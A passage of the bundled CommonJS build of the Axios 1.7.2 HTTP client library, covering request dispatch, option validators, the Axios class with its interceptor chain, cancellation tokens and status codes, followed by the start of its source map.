    config.headers.setContentType('application/x-www-form-urlencoded', false);
  }

  const adapter = adapters.getAdapter(config.adapter || defaults$1.adapter);

  return adapter(config).then(function onAdapterResolution(response) {
    throwIfCancellationRequested(config);

    // Transform response data
    response.data = transformData.call(
      config,
      config.transformResponse,
      response
    );

    response.headers = AxiosHeaders$1.from(response.headers);

    return response;
  }, function onAdapterRejection(reason) {
    if (!isCancel(reason)) {
      throwIfCancellationRequested(config);

      // Transform response data
      if (reason && reason.response) {
        reason.response.data = transformData.call(
          config,
          config.transformResponse,
          reason.response
        );
        reason.response.headers = AxiosHeaders$1.from(reason.response.headers);
      }
    }

    return Promise.reject(reason);
  });
}

const VERSION = "1.7.2";

const validators$1 = {};

// eslint-disable-next-line func-names
['object', 'boolean', 'number', 'function', 'string', 'symbol'].forEach((type, i) => {
  validators$1[type] = function validator(thing) {
    return typeof thing === type || 'a' + (i < 1 ? 'n ' : ' ') + type;
  };
});

const deprecatedWarnings = {};

/**
 * Transitional option validator
 *
 * @param {function|boolean?} validator - set to false if the transitional option has been removed
 * @param {string?} version - deprecated version / removed since version
 * @param {string?} message - some message with additional info
 *
 * @returns {function}
 */
validators$1.transitional = function transitional(validator, version, message) {
  function formatMessage(opt, desc) {
    return '[Axios v' + VERSION + '] Transitional option \'' + opt + '\'' + desc + (message ? '. ' + message : '');
  }

  // eslint-disable-next-line func-names
  return (value, opt, opts) => {
    if (validator === false) {
      throw new AxiosError(
        formatMessage(opt, ' has been removed' + (version ? ' in ' + version : '')),
        AxiosError.ERR_DEPRECATED
      );
    }

    if (version && !deprecatedWarnings[opt]) {
      deprecatedWarnings[opt] = true;
      // eslint-disable-next-line no-console
      console.warn(
        formatMessage(
          opt,
          ' has been deprecated since v' + version + ' and will be removed in the near future'
        )
      );
    }

    return validator ? validator(value, opt, opts) : true;
  };
};

/**
 * Assert object's properties type
 *
 * @param {object} options
 * @param {object} schema
 * @param {boolean?} allowUnknown
 *
 * @returns {object}
 */

function assertOptions(options, schema, allowUnknown) {
  if (typeof options !== 'object') {
    throw new AxiosError('options must be an object', AxiosError.ERR_BAD_OPTION_VALUE);
  }
  const keys = Object.keys(options);
  let i = keys.length;
  while (i-- > 0) {
    const opt = keys[i];
    const validator = schema[opt];
    if (validator) {
      const value = options[opt];
      const result = value === undefined || validator(value, opt, options);
      if (result !== true) {
        throw new AxiosError('option ' + opt + ' must be ' + result, AxiosError.ERR_BAD_OPTION_VALUE);
      }
      continue;
    }
    if (allowUnknown !== true) {
      throw new AxiosError('Unknown option ' + opt, AxiosError.ERR_BAD_OPTION);
    }
  }
}

var validator = {
  assertOptions,
  validators: validators$1
};

const validators = validator.validators;

/**
 * Create a new instance of Axios
 *
 * @param {Object} instanceConfig The default config for the instance
 *
 * @return {Axios} A new instance of Axios
 */
class Axios {
  constructor(instanceConfig) {
    this.defaults = instanceConfig;
    this.interceptors = {
      request: new InterceptorManager$1(),
      response: new InterceptorManager$1()
    };
  }

  /**
   * Dispatch a request
   *
   * @param {String|Object} configOrUrl The config specific for this request (merged with this.defaults)
   * @param {?Object} config
   *
   * @returns {Promise} The Promise to be fulfilled
   */
  async request(configOrUrl, config) {
    try {
      return await this._request(configOrUrl, config);
    } catch (err) {
      if (err instanceof Error) {
        let dummy;

        Error.captureStackTrace ? Error.captureStackTrace(dummy = {}) : (dummy = new Error());

        // slice off the Error: ... line
        const stack = dummy.stack ? dummy.stack.replace(/^.+\n/, '') : '';
        try {
          if (!err.stack) {
            err.stack = stack;
            // match without the 2 top stack lines
          } else if (stack && !String(err.stack).endsWith(stack.replace(/^.+\n.+\n/, ''))) {
            err.stack += '\n' + stack;
          }
        } catch (e) {
          // ignore the case where "stack" is an un-writable property
        }
      }

      throw err;
    }
  }

  _request(configOrUrl, config) {
    /*eslint no-param-reassign:0*/
    // Allow for axios('example/url'[, config]) a la fetch API
    if (typeof configOrUrl === 'string') {
      config = config || {};
      config.url = configOrUrl;
    } else {
      config = configOrUrl || {};
    }

    config = mergeConfig(this.defaults, config);

    const {transitional, paramsSerializer, headers} = config;

    if (transitional !== undefined) {
      validator.assertOptions(transitional, {
        silentJSONParsing: validators.transitional(validators.boolean),
        forcedJSONParsing: validators.transitional(validators.boolean),
        clarifyTimeoutError: validators.transitional(validators.boolean)
      }, false);
    }

    if (paramsSerializer != null) {
      if (utils$1.isFunction(paramsSerializer)) {
        config.paramsSerializer = {
          serialize: paramsSerializer
        };
      } else {
        validator.assertOptions(paramsSerializer, {
          encode: validators.function,
          serialize: validators.function
        }, true);
      }
    }

    // Set config.method
    config.method = (config.method || this.defaults.method || 'get').toLowerCase();

    // Flatten headers
    let contextHeaders = headers && utils$1.merge(
      headers.common,
      headers[config.method]
    );

    headers && utils$1.forEach(
      ['delete', 'get', 'head', 'post', 'put', 'patch', 'common'],
      (method) => {
        delete headers[method];
      }
    );

    config.headers = AxiosHeaders$1.concat(contextHeaders, headers);

    // filter out skipped interceptors
    const requestInterceptorChain = [];
    let synchronousRequestInterceptors = true;
    this.interceptors.request.forEach(function unshiftRequestInterceptors(interceptor) {
      if (typeof interceptor.runWhen === 'function' && interceptor.runWhen(config) === false) {
        return;
      }

      synchronousRequestInterceptors = synchronousRequestInterceptors && interceptor.synchronous;

      requestInterceptorChain.unshift(interceptor.fulfilled, interceptor.rejected);
    });

    const responseInterceptorChain = [];
    this.interceptors.response.forEach(function pushResponseInterceptors(interceptor) {
      responseInterceptorChain.push(interceptor.fulfilled, interceptor.rejected);
    });

    let promise;
    let i = 0;
    let len;

    if (!synchronousRequestInterceptors) {
      const chain = [dispatchRequest.bind(this), undefined];
      chain.unshift.apply(chain, requestInterceptorChain);
      chain.push.apply(chain, responseInterceptorChain);
      len = chain.length;

      promise = Promise.resolve(config);

      while (i < len) {
        promise = promise.then(chain[i++], chain[i++]);
      }

      return promise;
    }

    len = requestInterceptorChain.length;

    let newConfig = config;

    i = 0;

    while (i < len) {
      const onFulfilled = requestInterceptorChain[i++];
      const onRejected = requestInterceptorChain[i++];
      try {
        newConfig = onFulfilled(newConfig);
      } catch (error) {
        onRejected.call(this, error);
        break;
      }
    }

    try {
      promise = dispatchRequest.call(this, newConfig);
    } catch (error) {
      return Promise.reject(error);
    }

    i = 0;
    len = responseInterceptorChain.length;

    while (i < len) {
      promise = promise.then(responseInterceptorChain[i++], responseInterceptorChain[i++]);
    }

    return promise;
  }

  getUri(config) {
    config = mergeConfig(this.defaults, config);
    const fullPath = buildFullPath(config.baseURL, config.url);
    return buildURL(fullPath, config.params, config.paramsSerializer);
  }
}

// Provide aliases for supported request methods
utils$1.forEach(['delete', 'get', 'head', 'options'], function forEachMethodNoData(method) {
  /*eslint func-names:0*/
  Axios.prototype[method] = function(url, config) {
    return this.request(mergeConfig(config || {}, {
      method,
      url,
      data: (config || {}).data
    }));
  };
});

utils$1.forEach(['post', 'put', 'patch'], function forEachMethodWithData(method) {
  /*eslint func-names:0*/

  function generateHTTPMethod(isForm) {
    return function httpMethod(url, data, config) {
      return this.request(mergeConfig(config || {}, {
        method,
        headers: isForm ? {
          'Content-Type': 'multipart/form-data'
        } : {},
        url,
        data
      }));
    };
  }

  Axios.prototype[method] = generateHTTPMethod();

  Axios.prototype[method + 'Form'] = generateHTTPMethod(true);
});

var Axios$1 = Axios;

/**
 * A `CancelToken` is an object that can be used to request cancellation of an operation.
 *
 * @param {Function} executor The executor function.
 *
 * @returns {CancelToken}
 */
class CancelToken {
  constructor(executor) {
    if (typeof executor !== 'function') {
      throw new TypeError('executor must be a function.');
    }

    let resolvePromise;

    this.promise = new Promise(function promiseExecutor(resolve) {
      resolvePromise = resolve;
    });

    const token = this;

    // eslint-disable-next-line func-names
    this.promise.then(cancel => {
      if (!token._listeners) return;

      let i = token._listeners.length;

      while (i-- > 0) {
        token._listeners[i](cancel);
      }
      token._listeners = null;
    });

    // eslint-disable-next-line func-names
    this.promise.then = onfulfilled => {
      let _resolve;
      // eslint-disable-next-line func-names
      const promise = new Promise(resolve => {
        token.subscribe(resolve);
        _resolve = resolve;
      }).then(onfulfilled);

      promise.cancel = function reject() {
        token.unsubscribe(_resolve);
      };

      return promise;
    };

    executor(function cancel(message, config, request) {
      if (token.reason) {
        // Cancellation has already been requested
        return;
      }

      token.reason = new CanceledError(message, config, request);
      resolvePromise(token.reason);
    });
  }

  /**
   * Throws a `CanceledError` if cancellation has been requested.
   */
  throwIfRequested() {
    if (this.reason) {
      throw this.reason;
    }
  }

  /**
   * Subscribe to the cancel signal
   */

  subscribe(listener) {
    if (this.reason) {
      listener(this.reason);
      return;
    }

    if (this._listeners) {
      this._listeners.push(listener);
    } else {
      this._listeners = [listener];
    }
  }

  /**
   * Unsubscribe from the cancel signal
   */

  unsubscribe(listener) {
    if (!this._listeners) {
      return;
    }
    const index = this._listeners.indexOf(listener);
    if (index !== -1) {
      this._listeners.splice(index, 1);
    }
  }

  /**
   * Returns an object that contains a new `CancelToken` and a function that, when called,
   * cancels the `CancelToken`.
   */
  static source() {
    let cancel;
    const token = new CancelToken(function executor(c) {
      cancel = c;
    });
    return {
      token,
      cancel
    };
  }
}

var CancelToken$1 = CancelToken;

/**
 * Syntactic sugar for invoking a function and expanding an array for arguments.
 *
 * Common use case would be to use `Function.prototype.apply`.
 *
 *  ```js
 *  function f(x, y, z) {}
 *  var args = [1, 2, 3];
 *  f.apply(null, args);
 *  ```
 *
 * With `spread` this example can be re-written.
 *
 *  ```js
 *  spread(function(x, y, z) {})([1, 2, 3]);
 *  ```
 *
 * @param {Function} callback
 *
 * @returns {Function}
 */
function spread(callback) {
  return function wrap(arr) {
    return callback.apply(null, arr);
  };
}

/**
 * Determines whether the payload is an error thrown by Axios
 *
 * @param {*} payload The value to test
 *
 * @returns {boolean} True if the payload is an error thrown by Axios, otherwise false
 */
function isAxiosError(payload) {
  return utils$1.isObject(payload) && (payload.isAxiosError === true);
}

const HttpStatusCode = {
  Continue: 100,
  SwitchingProtocols: 101,
  Processing: 102,
  EarlyHints: 103,
  Ok: 200,
  Created: 201,
  Accepted: 202,
  NonAuthoritativeInformation: 203,
  NoContent: 204,
  ResetContent: 205,
  PartialContent: 206,
  MultiStatus: 207,
  AlreadyReported: 208,
  ImUsed: 226,
  MultipleChoices: 300,
  MovedPermanently: 301,
  Found: 302,
  SeeOther: 303,
  NotModified: 304,
  UseProxy: 305,
  Unused: 306,
  TemporaryRedirect: 307,
  PermanentRedirect: 308,
  BadRequest: 400,
  Unauthorized: 401,
  PaymentRequired: 402,
  Forbidden: 403,
  NotFound: 404,
  MethodNotAllowed: 405,
  NotAcceptable: 406,
  ProxyAuthenticationRequired: 407,
  RequestTimeout: 408,
  Conflict: 409,
  Gone: 410,
  LengthRequired: 411,
  PreconditionFailed: 412,
  PayloadTooLarge: 413,
  UriTooLong: 414,
  UnsupportedMediaType: 415,
  RangeNotSatisfiable: 416,
  ExpectationFailed: 417,
  ImATeapot: 418,
  MisdirectedRequest: 421,
  UnprocessableEntity: 422,
  Locked: 423,
  FailedDependency: 424,
  TooEarly: 425,
  UpgradeRequired: 426,
  PreconditionRequired: 428,
  TooManyRequests: 429,
  RequestHeaderFieldsTooLarge: 431,
  UnavailableForLegalReasons: 451,
  InternalServerError: 500,
  NotImplemented: 501,
  BadGateway: 502,
  ServiceUnavailable: 503,
  GatewayTimeout: 504,
  HttpVersionNotSupported: 505,
  VariantAlsoNegotiates: 506,
  InsufficientStorage: 507,
  LoopDetected: 508,
  NotExtended: 510,
  NetworkAuthenticationRequired: 511,
};

Object.entries(HttpStatusCode).forEach(([key, value]) => {
  HttpStatusCode[value] = key;
});

var HttpStatusCode$1 = HttpStatusCode;

/**
 * Create an instance of Axios
 *
 * @param {Object} defaultConfig The default config for the instance
 *
 * @returns {Axios} A new instance of Axios
 */
function createInstance(defaultConfig) {
  const context = new Axios$1(defaultConfig);
  const instance = bind(Axios$1.prototype.request, context);

  // Copy axios.prototype to instance
  utils$1.extend(instance, Axios$1.prototype, context, {allOwnKeys: true});

  // Copy context to instance
  utils$1.extend(instance, context, null, {allOwnKeys: true});

  // Factory for creating new instances
  instance.create = function create(instanceConfig) {
    return createInstance(mergeConfig(defaultConfig, instanceConfig));
  };

  return instance;
}

// Create the default instance to be exported
const axios = createInstance(defaults$1);

// Expose Axios class to allow class inheritance
axios.Axios = Axios$1;

// Expose Cancel & CancelToken
axios.CanceledError = CanceledError;
axios.CancelToken = CancelToken$1;
axios.isCancel = isCancel;
axios.VERSION = VERSION;
axios.toFormData = toFormData;

// Expose AxiosError class
axios.AxiosError = AxiosError;

// alias for CanceledError for backward compatibility
axios.Cancel = axios.CanceledError;

// Expose all/spread
axios.all = function all(promises) {
  return Promise.all(promises);
};

axios.spread = spread;

// Expose isAxiosError
axios.isAxiosError = isAxiosError;

// Expose mergeConfig
axios.mergeConfig = mergeConfig;

axios.AxiosHeaders = AxiosHeaders$1;

axios.formToJSON = thing => formDataToJSON(utils$1.isHTMLForm(thing) ? new FormData(thing) : thing);

axios.getAdapter = adapters.getAdapter;

axios.HttpStatusCode = HttpStatusCode$1;

axios.default = axios;

module.exports = axios;
//# sourceMappingURL=axios.cjs.map
browser/axios.cjs.map000064400000612412151677271550010655 0ustar00{"version":3,"file":"axios.cjs","sources":["../../lib/helpers/bind.js","../../lib/utils.js","../../lib/core/AxiosError.js","../../lib/helpers/null.js","../../lib/helpers/toFormData.js","../../lib/helpers/AxiosURLSearchParams.js","../../lib/helpers/buildURL.js","../../lib/core/InterceptorManager.js","../../lib/defaults/transitional.js","../../lib/platform/browser/classes/URLSearchParams.js","../../lib/platform/browser/classes/FormData.js","../../lib/platform/browser/classes/Blob.js","../../lib/platform/browser/index.js","../../lib/platform/common/utils.js","../../lib/platform/index.js","../../lib/helpers/toURLEncodedForm.js","../../lib/helpers/formDataToJSON.js","../../lib/defaults/index.js","../../lib/helpers/parseHeaders.js","../../lib/core/AxiosHeaders.js","../../lib/core/transformData.js","../../lib/cancel/isCancel.js","../../lib/cancel/CanceledError.js","../../lib/core/settle.js","../../lib/helpers/parseProtocol.js","../../lib/helpers/speedometer.js","../../lib/helpers/throttle.js","../../lib/helpers/progressEventReducer.js","../../lib/helpers/isURLSameOrigin.js","../../lib/helpers/cookies.js","../../lib/helpers/isAbsoluteURL.js","../../lib/helpers/combineURLs.js","../../lib/core/buildFullPath.js","../../lib/core/mergeConfig.js","../../lib/helpers/resolveConfig.js","../../lib/adapters/xhr.js","../../lib/helpers/composeSignals.js","../../lib/helpers/trackStream.js","../../lib/adapters/fetch.js","../../lib/adapters/adapters.js","../../lib/core/dispatchRequest.js","../../lib/env/data.js","../../lib/helpers/validator.js","../../lib/core/Axios.js","../../lib/cancel/CancelToken.js","../../lib/helpers/spread.js","../../lib/helpers/isAxiosError.js","../../lib/helpers/HttpStatusCode.js","../../lib/axios.js"],"sourcesContent":["'use strict';\n\nexport default function bind(fn, thisArg) {\n  return function wrap() {\n    return fn.apply(thisArg, arguments);\n  };\n}\n","'use strict';\n\nimport bind from './helpers/bind.js';\n\n// utils is a library of generic helper functions non-specific to axios\n\nconst {toString} = Object.prototype;\nconst {getPrototypeOf} = Object;\n\nconst kindOf = (cache => thing => {\n    const str = toString.call(thing);\n    return cache[str] || (cache[str] = str.slice(8, -1).toLowerCase());\n})(Object.create(null));\n\nconst kindOfTest = (type) => {\n  type = type.toLowerCase();\n  return (thing) => kindOf(thing) === type\n}\n\nconst typeOfTest = type => thing => typeof thing === type;\n\n/**\n * Determine if a value is an Array\n *\n * @param {Object} val The value to test\n *\n * @returns {boolean} True if value is an Array, otherwise false\n */\nconst {isArray} = Array;\n\n/**\n * Determine if a value is undefined\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if the value is undefined, otherwise false\n */\nconst isUndefined = typeOfTest('undefined');\n\n/**\n * Determine if a value is a Buffer\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Buffer, otherwise false\n */\nfunction isBuffer(val) {\n  return val !== null && !isUndefined(val) && val.constructor !== null && !isUndefined(val.constructor)\n    && isFunction(val.constructor.isBuffer) && val.constructor.isBuffer(val);\n}\n\n/**\n * Determine if a value is an ArrayBuffer\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is an ArrayBuffer, otherwise false\n */\nconst isArrayBuffer = kindOfTest('ArrayBuffer');\n\n\n/**\n * Determine if a value is a view on an ArrayBuffer\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a view on an ArrayBuffer, otherwise false\n */\nfunction isArrayBufferView(val) {\n  let result;\n  if ((typeof ArrayBuffer !== 'undefined') && (ArrayBuffer.isView)) {\n    result = ArrayBuffer.isView(val);\n  } else {\n    result = (val) && (val.buffer) && (isArrayBuffer(val.buffer));\n  }\n  return result;\n}\n\n/**\n * Determine if a value is a String\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a String, otherwise false\n */\nconst isString = typeOfTest('string');\n\n/**\n * Determine if a value is a Function\n *\n * @param {*} val The value to test\n * @returns {boolean} True if value is a Function, otherwise false\n */\nconst isFunction = typeOfTest('function');\n\n/**\n * Determine if a value is a Number\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Number, otherwise false\n */\nconst isNumber = typeOfTest('number');\n\n/**\n * Determine if a value is an Object\n *\n * @param {*} thing The value to test\n *\n * @returns {boolean} True if value is an Object, otherwise false\n */\nconst isObject = (thing) => thing !== null && typeof thing === 'object';\n\n/**\n * Determine if a value is a Boolean\n *\n * @param {*} thing The value to test\n * @returns {boolean} True if value is a Boolean, otherwise false\n */\nconst isBoolean = thing => thing === true || thing === false;\n\n/**\n * Determine if a value is a plain Object\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a plain Object, otherwise false\n */\nconst isPlainObject = (val) => {\n  if (kindOf(val) !== 'object') {\n    return false;\n  }\n\n  const prototype = getPrototypeOf(val);\n  return (prototype === null || prototype === Object.prototype || Object.getPrototypeOf(prototype) === null) && !(Symbol.toStringTag in val) && !(Symbol.iterator in val);\n}\n\n/**\n * Determine if a value is a Date\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Date, otherwise false\n */\nconst isDate = kindOfTest('Date');\n\n/**\n * Determine if a value is a File\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a File, otherwise false\n */\nconst isFile = kindOfTest('File');\n\n/**\n * Determine if a value is a Blob\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Blob, otherwise false\n */\nconst isBlob = kindOfTest('Blob');\n\n/**\n * Determine if a value is a FileList\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a File, otherwise false\n */\nconst isFileList = kindOfTest('FileList');\n\n/**\n * Determine if a value is a Stream\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Stream, otherwise false\n */\nconst isStream = (val) => isObject(val) && isFunction(val.pipe);\n\n/**\n * Determine if a value is a FormData\n *\n * @param {*} thing The value to test\n *\n * @returns {boolean} True if value is an FormData, otherwise false\n */\nconst isFormData = (thing) => {\n  let kind;\n  return thing && (\n    (typeof FormData === 'function' && thing instanceof FormData) || (\n      isFunction(thing.append) && (\n        (kind = kindOf(thing)) === 'formdata' ||\n        // detect form-data instance\n        (kind === 'object' && isFunction(thing.toString) && thing.toString() === '[object FormData]')\n      )\n    )\n  )\n}\n\n/**\n * Determine if a value is a URLSearchParams object\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a URLSearchParams object, otherwise false\n */\nconst isURLSearchParams = kindOfTest('URLSearchParams');\n\nconst [isReadableStream, isRequest, isResponse, isHeaders] = ['ReadableStream', 'Request', 'Response', 'Headers'].map(kindOfTest);\n\n/**\n * Trim excess whitespace off the beginning and end of a string\n *\n * @param {String} str The String to trim\n *\n * @returns {String} The String freed of excess whitespace\n */\nconst trim = (str) => str.trim ?\n  str.trim() : str.replace(/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g, '');\n\n/**\n * Iterate over an Array or an Object invoking a function for each item.\n *\n * If `obj` is an Array callback will be called passing\n * the value, index, and complete array for each item.\n *\n * If 'obj' is an Object callback will be called passing\n * the value, key, and complete object for each property.\n *\n * @param {Object|Array} obj The object to iterate\n * @param {Function} fn The callback to invoke for each item\n *\n * @param {Boolean} [allOwnKeys = false]\n * @returns {any}\n */\nfunction forEach(obj, fn, {allOwnKeys = false} = {}) {\n  // Don't bother if no value provided\n  if (obj === null || typeof obj === 'undefined') {\n    return;\n  }\n\n  let i;\n  let l;\n\n  // Force an array if not already something iterable\n  if (typeof obj !== 'object') {\n    /*eslint no-param-reassign:0*/\n    obj = [obj];\n  }\n\n  if (isArray(obj)) {\n    // Iterate over array values\n    for (i = 0, l = obj.length; i < l; i++) {\n      fn.call(null, obj[i], i, obj);\n    }\n  } else {\n    // Iterate over object keys\n    const keys = allOwnKeys ? Object.getOwnPropertyNames(obj) : Object.keys(obj);\n    const len = keys.length;\n    let key;\n\n    for (i = 0; i < len; i++) {\n      key = keys[i];\n      fn.call(null, obj[key], key, obj);\n    }\n  }\n}\n\nfunction findKey(obj, key) {\n  key = key.toLowerCase();\n  const keys = Object.keys(obj);\n  let i = keys.length;\n  let _key;\n  while (i-- > 0) {\n    _key = keys[i];\n    if (key === _key.toLowerCase()) {\n      return _key;\n    }\n  }\n  return null;\n}\n\nconst _global = (() => {\n  /*eslint no-undef:0*/\n  if (typeof globalThis !== \"undefined\") return globalThis;\n  return typeof self !== \"undefined\" ? self : (typeof window !== 'undefined' ? window : global)\n})();\n\nconst isContextDefined = (context) => !isUndefined(context) && context !== _global;\n\n/**\n * Accepts varargs expecting each argument to be an object, then\n * immutably merges the properties of each object and returns result.\n *\n * When multiple objects contain the same key the later object in\n * the arguments list will take precedence.\n *\n * Example:\n *\n * ```js\n * var result = merge({foo: 123}, {foo: 456});\n * console.log(result.foo); // outputs 456\n * ```\n *\n * @param {Object} obj1 Object to merge\n *\n * @returns {Object} Result of all merge properties\n */\nfunction merge(/* obj1, obj2, obj3, ... */) {\n  const {caseless} = isContextDefined(this) && this || {};\n  const result = {};\n  const assignValue = (val, key) => {\n    const targetKey = caseless && findKey(result, key) || key;\n    if (isPlainObject(result[targetKey]) && isPlainObject(val)) {\n      result[targetKey] = merge(result[targetKey], val);\n    } else if (isPlainObject(val)) {\n      result[targetKey] = merge({}, val);\n    } else if (isArray(val)) {\n      result[targetKey] = val.slice();\n    } else {\n      result[targetKey] = val;\n    }\n  }\n\n  for (let i = 0, l = arguments.length; i < l; i++) {\n    arguments[i] && forEach(arguments[i], assignValue);\n  }\n  return result;\n}\n\n/**\n * Extends object a by mutably adding to it the properties of object b.\n *\n * @param {Object} a The object to be extended\n * @param {Object} b The object to copy properties from\n * @param {Object} thisArg The object to bind function to\n *\n * @param {Boolean} [allOwnKeys]\n * @returns {Object} The resulting value of object a\n */\nconst extend = (a, b, thisArg, {allOwnKeys}= {}) => {\n  forEach(b, (val, key) => {\n    if (thisArg && isFunction(val)) {\n      a[key] = bind(val, thisArg);\n    } else {\n      a[key] = val;\n    }\n  }, {allOwnKeys});\n  return a;\n}\n\n/**\n * Remove byte order marker. This catches EF BB BF (the UTF-8 BOM)\n *\n * @param {string} content with BOM\n *\n * @returns {string} content value without BOM\n */\nconst stripBOM = (content) => {\n  if (content.charCodeAt(0) === 0xFEFF) {\n    content = content.slice(1);\n  }\n  return content;\n}\n\n/**\n * Inherit the prototype methods from one constructor into another\n * @param {function} constructor\n * @param {function} superConstructor\n * @param {object} [props]\n * @param {object} [descriptors]\n *\n * @returns {void}\n */\nconst inherits = (constructor, superConstructor, props, descriptors) => {\n  constructor.prototype = Object.create(superConstructor.prototype, descriptors);\n  constructor.prototype.constructor = constructor;\n  Object.defineProperty(constructor, 'super', {\n    value: superConstructor.prototype\n  });\n  props && Object.assign(constructor.prototype, props);\n}\n\n/**\n * Resolve object with deep prototype chain to a flat object\n * @param {Object} sourceObj source object\n * @param {Object} [destObj]\n * @param {Function|Boolean} [filter]\n * @param {Function} [propFilter]\n *\n * @returns {Object}\n */\nconst toFlatObject = (sourceObj, destObj, filter, propFilter) => {\n  let props;\n  let i;\n  let prop;\n  const merged = {};\n\n  destObj = destObj || {};\n  // eslint-disable-next-line no-eq-null,eqeqeq\n  if (sourceObj == null) return destObj;\n\n  do {\n    props = Object.getOwnPropertyNames(sourceObj);\n    i = props.length;\n    while (i-- > 0) {\n      prop = props[i];\n      if ((!propFilter || propFilter(prop, sourceObj, destObj)) && !merged[prop]) {\n        destObj[prop] = sourceObj[prop];\n        merged[prop] = true;\n      }\n    }\n    sourceObj = filter !== false && getPrototypeOf(sourceObj);\n  } while (sourceObj && (!filter || filter(sourceObj, destObj)) && sourceObj !== Object.prototype);\n\n  return destObj;\n}\n\n/**\n * Determines whether a string ends with the characters of a specified string\n *\n * @param {String} str\n * @param {String} searchString\n * @param {Number} [position= 0]\n *\n * @returns {boolean}\n */\nconst endsWith = (str, searchString, position) => {\n  str = String(str);\n  if (position === undefined || position > str.length) {\n    position = str.length;\n  }\n  position -= searchString.length;\n  const lastIndex = str.indexOf(searchString, position);\n  return lastIndex !== -1 && lastIndex === position;\n}\n\n\n/**\n * Returns new array from array like object or null if failed\n *\n * @param {*} [thing]\n *\n * @returns {?Array}\n */\nconst toArray = (thing) => {\n  if (!thing) return null;\n  if (isArray(thing)) return thing;\n  let i = thing.length;\n  if (!isNumber(i)) return null;\n  const arr = new Array(i);\n  while (i-- > 0) {\n    arr[i] = thing[i];\n  }\n  return arr;\n}\n\n/**\n * Checking if the Uint8Array exists and if it does, it returns a function that checks if the\n * thing passed in is an instance of Uint8Array\n *\n * @param {TypedArray}\n *\n * @returns {Array}\n */\n// eslint-disable-next-line func-names\nconst isTypedArray = (TypedArray => {\n  // eslint-disable-next-line func-names\n  return thing => {\n    return TypedArray && thing instanceof TypedArray;\n  };\n})(typeof Uint8Array !== 'undefined' && getPrototypeOf(Uint8Array));\n\n/**\n * For each entry in the object, call the function with the key and value.\n *\n * @param {Object<any, any>} obj - The object to iterate over.\n * @param {Function} fn - The function to call for each entry.\n *\n * @returns {void}\n */\nconst forEachEntry = (obj, fn) => {\n  const generator = obj && obj[Symbol.iterator];\n\n  const iterator = generator.call(obj);\n\n  let result;\n\n  while ((result = iterator.next()) && !result.done) {\n    const pair = result.value;\n    fn.call(obj, pair[0], pair[1]);\n  }\n}\n\n/**\n * It takes a regular expression and a string, and returns an array of all the matches\n *\n * @param {string} regExp - The regular expression to match against.\n * @param {string} str - The string to search.\n *\n * @returns {Array<boolean>}\n */\nconst matchAll = (regExp, str) => {\n  let matches;\n  const arr = [];\n\n  while ((matches = regExp.exec(str)) !== null) {\n    arr.push(matches);\n  }\n\n  return arr;\n}\n\n/* Checking if the kindOfTest function returns true when passed an HTMLFormElement. */\nconst isHTMLForm = kindOfTest('HTMLFormElement');\n\nconst toCamelCase = str => {\n  return str.toLowerCase().replace(/[-_\\s]([a-z\\d])(\\w*)/g,\n    function replacer(m, p1, p2) {\n      return p1.toUpperCase() + p2;\n    }\n  );\n};\n\n/* Creating a function that will check if an object has a property. */\nconst hasOwnProperty = (({hasOwnProperty}) => (obj, prop) => hasOwnProperty.call(obj, prop))(Object.prototype);\n\n/**\n * Determine if a value is a RegExp object\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a RegExp object, otherwise false\n */\nconst isRegExp = kindOfTest('RegExp');\n\nconst reduceDescriptors = (obj, reducer) => {\n  const descriptors = Object.getOwnPropertyDescriptors(obj);\n  const reducedDescriptors = {};\n\n  forEach(descriptors, (descriptor, name) => {\n    let ret;\n    if ((ret = reducer(descriptor, name, obj)) !== false) {\n      reducedDescriptors[name] = ret || descriptor;\n    }\n  });\n\n  Object.defineProperties(obj, reducedDescriptors);\n}\n\n/**\n * Makes all methods read-only\n * @param {Object} obj\n */\n\nconst freezeMethods = (obj) => {\n  reduceDescriptors(obj, (descriptor, name) => {\n    // skip restricted props in strict mode\n    if (isFunction(obj) && ['arguments', 'caller', 'callee'].indexOf(name) !== -1) {\n      return false;\n    }\n\n    const value = obj[name];\n\n    if (!isFunction(value)) return;\n\n    descriptor.enumerable = false;\n\n    if ('writable' in descriptor) {\n      descriptor.writable = false;\n      return;\n    }\n\n    if (!descriptor.set) {\n      descriptor.set = () => {\n        throw Error('Can not rewrite read-only method \\'' + name + '\\'');\n      };\n    }\n  });\n}\n\nconst toObjectSet = (arrayOrString, delimiter) => {\n  const obj = {};\n\n  const define = (arr) => {\n    arr.forEach(value => {\n      obj[value] = true;\n    });\n  }\n\n  isArray(arrayOrString) ? define(arrayOrString) : define(String(arrayOrString).split(delimiter));\n\n  return obj;\n}\n\nconst noop = () => {}\n\nconst toFiniteNumber = (value, defaultValue) => {\n  return value != null && Number.isFinite(value = +value) ? value : defaultValue;\n}\n\nconst ALPHA = 'abcdefghijklmnopqrstuvwxyz'\n\nconst DIGIT = '0123456789';\n\nconst ALPHABET = {\n  DIGIT,\n  ALPHA,\n  ALPHA_DIGIT: ALPHA + ALPHA.toUpperCase() + DIGIT\n}\n\nconst generateString = (size = 16, alphabet = ALPHABET.ALPHA_DIGIT) => {\n  let str = '';\n  const {length} = alphabet;\n  while (size--) {\n    str += alphabet[Math.random() * length|0]\n  }\n\n  return str;\n}\n\n/**\n * If the thing is a FormData object, return true, otherwise return false.\n *\n * @param {unknown} thing - The thing to check.\n *\n * @returns {boolean}\n */\nfunction isSpecCompliantForm(thing) {\n  return !!(thing && isFunction(thing.append) && thing[Symbol.toStringTag] === 'FormData' && thing[Symbol.iterator]);\n}\n\nconst toJSONObject = (obj) => {\n  const stack = new Array(10);\n\n  const visit = (source, i) => {\n\n    if (isObject(source)) {\n      if (stack.indexOf(source) >= 0) {\n        